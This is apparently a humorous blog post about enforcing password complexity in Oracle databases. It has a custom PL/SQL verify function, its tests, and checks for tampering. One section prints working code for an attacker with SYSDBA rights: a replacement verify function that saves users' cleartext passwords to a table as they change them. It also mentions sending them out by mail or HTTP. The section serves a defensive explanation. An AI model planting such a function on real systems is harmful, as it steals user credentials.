Mama Mia ! Oracle Database Password Complexity and Seventies Euro-Pop

Recently, Deb got tickets for us to go to an outdoor cinema.
“It’ll be lovely”, she said, “we can have a picnic on a warm summer’s evening whilst watching a film”.
“Sounds good”, I said, trying hard to overlook the fact that, in England, a summer’s evening is as likely to be wet as it is to be warm.
Fortunately the weather held, the picnic was delicious and the company, needless to say, was divine.
As for the film…”I can’t believe that you’ve never seen Mama Mia before”, exclaimed my better half.
Some intensive negotiations followed on the subject of Brownie Points. As a result, my late Saturday evenings for the next three months will definitely include watching Match of the Day. Yes, I will get to watch A Man After Midnight.

Anyway, I recently wrote about how to disable password complexity in the database.
To redress the balance, this post is about how to enforce password complexity and how to encourage the use of strong(er) passwords.

At this point, you may be a bit concerned about the number of Abba references that may be contained in the rest of this post.
If you are, then all I can say is come on, Take A Chance on Me…

Entropy

A common way of measuring password strength is by means of Entropy.
Essentially, this boils down to the fact that a password’s strength is determined by :

• the size of the characterset that the password can be made up from
• the length of the password

The main issue here is that passwords, generally speaking, are chosen by people. Naturally, they will tend to stick to letters rather than utilising other characters.
In order to ensure that passwords are strong enough not to be easily guessed, we need to enforce policies to ensure

• a wider range of characters than simply lowercase letters are used
• the password is of a minimum length
• the password is changed regularly
• the password cannot be re-used for a period of time

The mechanism that Oracle provides for doing this is the PROFILE.

The Default Profile

Profiles serve two purposes. They can determine resource limits for a group of users. More pertinent here, is that they also determine various aspects of security for a group of users.
By default all users are assigned to a single profile called, fittingly enough, DEFAULT.
The security settings for this profile can be found like this…

SELECT resource_name, limit
FROM dba_profiles
WHERE profile = 'DEFAULT'
AND resource_type = 'PASSWORD'

The resulting list of resource_names probably requires some explaining at this point…

Resource Name	Description
FAILED_LOGIN_ATTEMPTS	Number of consecutive failed login attempts before an account is locked
PASSWORD_LOCK_TIME	Amount of time (days) that an account will be locked for after the failed login attempts threshold is reached
PASSWORD_LIFE_TIME	Maximum number of days allowed between password changes
PASSWORD_GRACE_TIME	Number of days grace after PASSWORD_LIFE_TIME is reached that a user will have to change their password
PASSWORD_REUSE_TIME	Number of days before a password can be reused
PASSWORD_REUSE_MAX	Number of times a password must be changed before it can be reused
PASSWORD_VERIFY_FUNCTION	a function to enforce complexity rules

Creating a new Profile

Say we have a member of the support – chiquitita for the sake of argument.

To determine which profile this user has been allocated to you can run the following query :

SELECT profile
FROM dba_users
WHERE username = 'CHIQUITITA';

Because this account is more highly privileged than a normal user account, we want to enforce more rigourous password controls (e.g. change every 30 days, rather than every 60 days, fewer failed login attempts etc).
To enforce this, we can first create a new profile :

CREATE PROFILE support_analysts LIMIT
    FAILED_LOGIN_ATTEMPTS 3
    PASSWORD_LIFE_TIME 30
    PASSWORD_REUSE_TIME 1800
    PASSWORD_REUSE_MAX 30
    PASSWORD_LOCK_TIME 1
    PASSWORD_GRACE_TIME 7
/

Now we can simply add Chiquitita to the profile :

ALTER USER chiquitita PROFILE support_analyists
/

If we now have a look at what settings are applicable for this user…

SQL> SELECT prof.resource_name, prof.limit
  2  FROM dba_profiles prof, dba_users usr
  3  WHERE prof.profile = usr.profile
  4  AND prof.resource_type = 'PASSWORD'
  5  AND usr.username = 'CHIQUITITA';

RESOURCE_NAME			 LIMIT
-------------------------------- ----------------------------------------
FAILED_LOGIN_ATTEMPTS		 3
PASSWORD_LIFE_TIME		 30
PASSWORD_REUSE_TIME		 1800
PASSWORD_REUSE_MAX		 30
PASSWORD_VERIFY_FUNCTION	 DEFAULT
PASSWORD_LOCK_TIME		 1
PASSWORD_GRACE_TIME		 7

7 rows selected.

SQL> 

In terms of enforcing password complexity, it is the PASSWORD_VERIFY_FUNCTION that’s of interest to us.

The Password Verification Function

The password verify function must exist in the SYS schema.
It will accept three parameters – username, old_password, and new_password.
It is assigned to the profile by means of the command :

ALTER PROFILE profile_name LIMIT PASSWORD_VERIFY_FUNCTION function_name
/

…where profile_name is the name of the profile we’re assigning the function to and function_name is the name of the verify function that we want to use.

Oracle provides the code for such a function, ready for to use. This can be found in :

$ORACLE_HOME/rdbms/admin/utlpwdmg.sql

The 11g function performs checks to ensure that the password

• is at least 8 characters in LENGTH
• is not username or username reversed
• is not the servername (or servername appended by a number between 1 and 100)
• is not in a small dictionary
• not oracle (or oracle1-100)
• password contains at least one digit and at least one letter
• differs from the old password by at least 3 characters

We could just implement this script, but writing our own is more fun…and also gives us the chance to implement further policies.

A Customised Password Verification Function

The policies I want to implement are :

• Password is at least 8 characters long
• Password is not the same or similar to the username
• Password is not the same or similar to the previous password
• Password is not the same or similar to a word in the (equally small, but slightly modified) dictionary
• Password differs to any of the above by at least 3 characters
• password contains at least one digit and at least one letter

As a slight modification, I also want to account for any common replacements of characters with numbers.
So, with this function at least, a user won’t be able to set their password to be “P455w0rd”.

In terms of the design approach, I’ve followed Oracle’s lead here and ensured that everything is encapsulated in a single
function.
This means that there are some private helper functions declared and the dictionary itself is hard-coded in the function.
Here we go then. As SYSDBA…

CREATE OR REPLACE FUNCTION check_password_fn(
    username IN VARCHAR2,
    new_password IN VARCHAR2,
    old_password IN VARCHAR2)
    RETURN BOOLEAN
IS
    --
    -- The minimum length of a password
    --
    lc_min_len CONSTANT PLS_INTEGER := 8;
    --
    -- Collection to hold the dictionary of simple words
    --
    TYPE typ_dict IS TABLE OF VARCHAR2(20) INDEX BY PLS_INTEGER;
    tbl_dict typ_dict;
    
    
    l_password_check VARCHAR2(30);
    
  
    --
    -- REVERSE is an SQL function. Has a different meaning in PL/SQL so we
    -- need to use is as part of a SQL statement - hence this function
    --
    FUNCTION backwards_fn( i_string IN VARCHAR2)
        RETURN VARCHAR2
    IS
        l_rtn VARCHAR2(30);
    BEGIN
        SELECT REVERSE(i_string) INTO l_rtn FROM dual;
        RETURN l_rtn;
    END backwards_fn;
    --
    -- Check whether a character is a numeric
    --
    FUNCTION is_number_fn( i_char IN VARCHAR2)
        RETURN BOOLEAN
    IS
        l_dummy NUMBER;
    BEGIN
        l_dummy := TO_NUMBER( i_char);
        RETURN TRUE;
    EXCEPTION WHEN OTHERS THEN
        RETURN FALSE;
    END is_number_fn;
    --
    -- We use this function to compare the new password with another string
    -- This will either be from the dictionary or the username
    --
    FUNCTION get_similar_fn( i_password VARCHAR2, i_comp_string VARCHAR2)
        RETURN PLS_INTEGER
    IS
        l_character VARCHAR2(1);
        l_rtn PLS_INTEGER := 0;
    BEGIN
        FOR x IN 1..LEAST(LENGTH(i_password), LENGTH(i_comp_string) ) LOOP
            l_character := UPPER(SUBSTR(i_password, x,1));
            --
            -- Is this character the same as the dictionary character
            -- or the same as the dictionary character replace with a letter
            --
            IF NOT is_number_fn(l_character) THEN
                IF l_character = UPPER(SUBSTR(i_comp_string,x,1)) THEN
                    l_rtn := l_rtn + 1;
                END IF;
            ELSE
                l_character := TRANSLATE(l_character,'4831052', 'ABEIOSZ');
                IF l_character = UPPER(SUBSTR(i_comp_string,x,1)) THEN
                    l_rtn := l_rtn + 1;
               END IF;
            END IF;
        END LOOP;
        RETURN l_rtn;
    END get_similar_fn;

BEGIN
    --
    -- Check for length
    --
    IF LENGTH(new_password) < 8 THEN
        RAISE_APPLICATION_ERROR(-20000, 'Password must be at least 8 characters.');
    END IF;
    --
    -- Some of the remaining checks require the password to be stripped of digits and
    -- uppercased...
    --
    l_password_check := UPPER(REGEXP_REPLACE(new_password, '[[:digit:]]'));
    --
    -- Check not the same or similar to username (or username backwards)
    -- 
    IF l_password_check IN
        (
            UPPER(REGEXP_REPLACE(username, '[[:digit:]]')), 
            backwards_fn(UPPER(REGEXP_REPLACE(username, '[[:digit:]]')))
        )
        OR ABS(LENGTH(username) - get_similar_fn(new_password, username)) < 3
    THEN
        RAISE_APPLICATION_ERROR(-20001, 'Password is too similar to username.');
    END IF;
    --
    -- Check that it differs from the old password by at least 3 characters 
    -- and is not the old password reversed
    --
    IF ABS(LENGTH(new_password) - LENGTH(old_password)) < 3 THEN
        IF UPPER(new_password) = backwards_fn(UPPER(old_password)) THEN
            RAISE_APPLICATION_ERROR(-20002, 'New password cannot be old password backwards.');
        END IF;
        IF ABS(LENGTH(old_password) - get_similar_fn(new_password, UPPER(old_password))) < 3 THEN
            RAISE_APPLICATION_ERROR(-20003, 'New Password too similar to old Password.');
        END IF;
    END IF;
    --
    -- Now check against our dictionary. Start by populating the dictionary...
    --
    tbl_dict(1) := 'WELCOME';
    tbl_dict(2) := 'DATABASE';
    tbl_dict(3) := 'ACCOUNT';
    tbl_dict(4) := 'USER';
    tbl_dict(5) := 'PASSWORD';
    tbl_dict(6) := 'ORACLE';
    tbl_dict(7) := 'COMPUTER';
    tbl_dict(8) := 'ABCDEFG';
    tbl_dict(9) := 'CHANGE_ON_INSTALL';
    --
    -- added at Deb's insistence...some ABBA fans have long memories...
    --
    tbl_dict(10) := 'BROTHERHOOD_OF_MAN';
    --
    -- Now we want to make sure that the password is not
    -- One of the dictionary words (optionally with numbers added)
    -- Not one of these reversed (with numbers added)
    -- Not one of these with a standard number-for-letter replacement
    -- 
    FOR j IN 1..tbl_dict.COUNT LOOP
        IF l_password_check IN (
            tbl_dict(j),
            backwards_fn(tbl_dict(j))
        )
            OR UPPER(new_password) = TRANSLATE( tbl_dict(j), 'ABEIOSZ', '4831052')
        THEN
            RAISE_APPLICATION_ERROR(-20004, 'Password is too simple.');
        END IF;
        --
        -- One final check - the user may have entered a password that is
        -- in the dictionary with only 1 letter replaced with a number 
        -- e.g. p4ssword
        -- Need to do a character-by-character comparison accounting for this.
        --
        IF ABS(LENGTH( tbl_dict(j)) - get_similar_fn(new_password, tbl_dict(j))) < 3 THEN
            RAISE_APPLICATION_ERROR(-20005, 'Password is too simple - even with number substitutions');
        END IF;
    END LOOP;
    --
    -- Finally, make sure that the password contains 
    -- at least one UPPERCASE character
    -- at least one lowercase character
    -- at least one number
    --
    IF REGEXP_INSTR( new_password, '[[:upper:]]') = 0
        OR REGEXP_INSTR(new_password, '[[:lower:]]') = 0
        OR REGEXP_INSTR(new_password, '[[:digit:]]') = 0
    THEN
        RAISE_APPLICATION_ERROR( -20006, 
            'Password must contain at least one uppercase letter, one lowercase letter, and one number');
    END IF;
    RETURN TRUE;
END;
/

Now, before unleashing this on the unsuspecting user community, it’s probably a good idea to run a few tests…

set lines 130
set serveroutput on size unlimited
spool verify_test.log
DECLARE
--
-- script to test check_password_fn
--
    TYPE typ_passwords IS TABLE OF VARCHAR2(30) INDEX BY PLS_INTEGER;
    tbl_passwords typ_passwords;
    
    l_old_password VARCHAR2(30) := 'Waterloo1';
    
    l_dummy BOOLEAN;
BEGIN
    --
    -- setup list of passwords to test with...
    --
    tbl_passwords(1) := 'simple'; -- too short
    tbl_passwords(2) := 'mike1234'; -- same as user
    tbl_passwords(3) := '4321ekim'; -- mike backwards
    tbl_passwords(4) := '1oolretaW'; -- old password backwards
    tbl_passwords(5) := 'Waterloo18'; -- too similar to old password
    tbl_passwords(6) := 'Brotherhood_0f_Man'; -- dictionary
    tbl_passwords(7) := 'P455w0rd'; -- simple
    tbl_passwords(8) := 'Sm0king_15_0nly_Vice'; -- should pass.
    tbl_passwords(9) := 'm1K31234'; -- should fail - too similar to user
    tbl_passwords(10) := 'W4terl001'; -- should fail - too similar to old password
    tbl_passwords(11) := 'the_day_before_you_came'; -- should fail - does not have any uppercase or numbers
    tbl_passwords(12) := 'ONLYSeventeen'; -- should fail - no numbers
    tbl_passwords(13) := '48840000'; -- should fail - no letters
    tbl_passwords(14) := 'ABBA0000'; -- should fail - no lowercase letters
    tbl_passwords(15) := 'abba0000'; -- should fail - no uppercase letters
    tbl_passwords(16) := 'Mamma_Mia1'; -- should pass

--  tbl_passwords(1) := 'W4terl001'; 
--    tbl_passwords(2) := 'P455w0rd'; -- simple

    --
    -- Nested block required to account for failures...
    --
    FOR i IN 1..tbl_passwords.COUNT LOOP
        BEGIN
            l_dummy := check_password_fn(
                username => 'MIKE',
                old_password => l_old_password,
                new_password => tbl_passwords(i));
            DBMS_OUTPUT.PUT_LINE('Test '||i||' - password allowed.');
        EXCEPTION
            WHEN OTHERS THEN
                DBMS_OUTPUT.PUT_LINE('Test '||i||' ERROR : '||SQLERRM);
        END;
    END LOOP;
    DBMS_OUTPUT.PUT_LINE('Test run completed.');
END;
/
spool off

When we run this we get…

Test 1 ERROR : ORA-20000: Password must be at least 8 characters.                                                                 
Test 2 ERROR : ORA-20001: Password is too similar to username.                                                                    
Test 3 ERROR : ORA-20001: Password is too similar to username.                                                                    
Test 4 ERROR : ORA-20002: New password cannot be old password backwards.                                                          
Test 5 ERROR : ORA-20003: New Password too similar to old Password.                                                               
Test 6 ERROR : ORA-20005: Password is too simple - even with number substitutions                                                 
Test 7 ERROR : ORA-20004: Password is too simple                                         
Test 8 - password allowed                                                                                        
Test 9 ERROR : ORA-20001: Password is too similar to username                 
Test 10 ERROR : ORA-20003: New Password too similar to old Password.    
Test 11 ERROR : ORA-20006: Password must contain at least one uppercase letter, one lowercase letter, and one number 
Test 12 ERROR : ORA-20006: Password must contain at least one uppercase letter, one lowercase letter, and one number  
Test 13 ERROR : ORA-20006: Password must contain at least one uppercase letter, one lowercase letter, and one number  
Test 14 ERROR : ORA-20006: Password must contain at least one uppercase letter, one lowercase letter, and one number  
Test 15 ERROR : ORA-20006: Password must contain at least one uppercase letter, one lowercase letter, and one number  
Test 16 - password allowed.                                                                                             
Test run completed.

PL/SQL procedure successfully completed.

I’ll be the first to admit that there are probably going to be one or two values that aren’t caught by this function. In my defence,I’ve had to code this whilst trying to block out the memory of Piers Brosnan wading through the Abba back catalogue like a very angry man with a bit of a sore throat.

Anyway, once we’re happy with the function, we can assign it to the profile :

ALTER PROFILE default LIMIT PASSWORD_VERIFY_FUNCTION check_password_fn
/

Protecting the Password Verify Function

One thing you may have noticed is that the password verify function, by it’s very nature, has access to passwords in clear text.
This makes it a potential target for attackers looking to save time mucking about with rainbow tables and the like.
There would appear to be two possible courses of action for an attacker.
First, they could modify the function.
Secondly, they could change the profile to simply use another function.

It’s probably worth pointing out that, as far as I can see, the password verify function must be owned by SYS and therefore created with an account with SYSDBA privileges.
Creating a function in another schema and then setting up a synonym for it does not work.
Neither does attempting to create a function in SYS as a user with CREATE/DROP/ALTER ANY PROCEDURE privileges.
Anyway, lets assume that our attacker has managed to gain the SYSDBA privilege. He or she can now do the following :

CREATE TABLE money_money_money(
    username VARCHAR2(30),
    password VARCHAR2(30))
/

…and now the function…

CREATE OR REPLACE FUNCTION does_your_mother_know(
    username VARCHAR2,
    password VARCHAR2,
    old_password VARCHAR2)
    RETURN BOOLEAN
IS
    PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
    INSERT INTO money_money_money( username, password)
    VALUES( username, password);
    COMMIT;
    RETURN TRUE;
EXCEPTION
    WHEN OTHERS THEN
        RETURN TRUE;
END;
/

…which they then assign to the profile :

ALTER PROFILE default LIMIT PASSWORD_VERIFY_FUNCTION does_your_mother_know
/

Now, when a user changes their password…

$ sqlplus fernando

SQL*Plus: Release 11.2.0.2.0 Production on Mon Sep 9 21:40:02 2013

Copyright (c) 1982, 2011, Oracle.  All rights reserved.

Enter password: 

Connected to:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

SQL> password
Changing password for FERNANDO
Old password: 
New password: 
Retype new password: 
Password changed
SQL> 

…. the attacker can now check the table…

SQL> SELECT username, password
  2  FROM money_money_money;

USERNAME		       PASSWORD
------------------------------ ------------------------------
FERNANDO		       angelo

SQL> 

NOTE – this will work for any password change, including creation of a new user using CREATE or ALTER USER statements.

Of course, the attacker has a number of options, of which dumping the new credentials to a table is only the simplest.
They could e-mail their ill-gotten gains (using UTL_SMTP) or event send them to a web address (using UTL_HTTP).
In terms of defending against this, things get a little tricky. The attacker will have SYSDBA privileges so can disable any DDL triggers we put on the alter profile statement or on the function itself.

Bear in mind that this kind of attack will take place over time, as not everyone will be changing their password every day.
We will need to check regularly that both the function and the profile(s) have not been tampered with.
To this end, we may want to run a check on a daily basis to ensure that all is well.
There’s a bit of a conundurum here. An attacker with SYSDBA privileges will have the ability to disable ddl triggers and stop scheduler jobs.

At this point, it’s probably worth considering the advice of a security expert in the shape of this paper by Alexander Kornbrust.

The safest way to check that nothing untoward is happening would appear be to manually run check scripts.

First, we’ll need to make sure that users are assigned to profiles we expect them to be, and that each profile is assigned the expected PASSWORD_VERIFY_FUNCTION :

SELECT prof.profile, prof.limit, COUNT(usr.username)
FROM dba_profiles prof, dba_users usr
WHERE usr.profile = prof.profile
AND prof.resource_name = 'PASSWORD_VERIFY_FUNCTION'
HAVING COUNT(usr.username) > 0
GROUP BY prof.profile, prof.limit
ORDER BY prof.profile
/

Run this and we could become a bit curious about exactly what your Mother does know…

PROFILE 	     LIMIT			    COUNT(USR.USERNAME)
-------------------- ------------------------------ -------------------
DEFAULT 	     DOES_YOUR_MOTHER_KNOW			     22
SUPPORT_ANALYSTS     DEFAULT					      1

SQL> 

Assuming we don’t get any nasty surprises with the first query, we should then make sure that the function itself has not been changed :

SELECT TO_CHAR(last_ddl_time, 'DD-MON-YYYY HH24:MI:SS')
FROM dba_objects
WHERE owner = 'SYS'
AND object_type = 'FUNCTION'
AND object_name = 'CHECK_PASSWORD_FN'
/

If there has been any recent DDL activity on this function, once again, you’ll probably want to investigate further.

To summarise then, the password verify function does offer a very granular control over your password policy.
Whilst protecting it is something of a challenge, it’s a challenge you have even if you don’t bother with one.
After all, you still need to make sure that this particular back-door has not been left ajar.

In a desparate attempt to find an antidote to all these ABBA songs floating around my head, I’m off to watch some footie.
DISCLAIMER : No Dad-dancing was perpetrated in the writing of this post.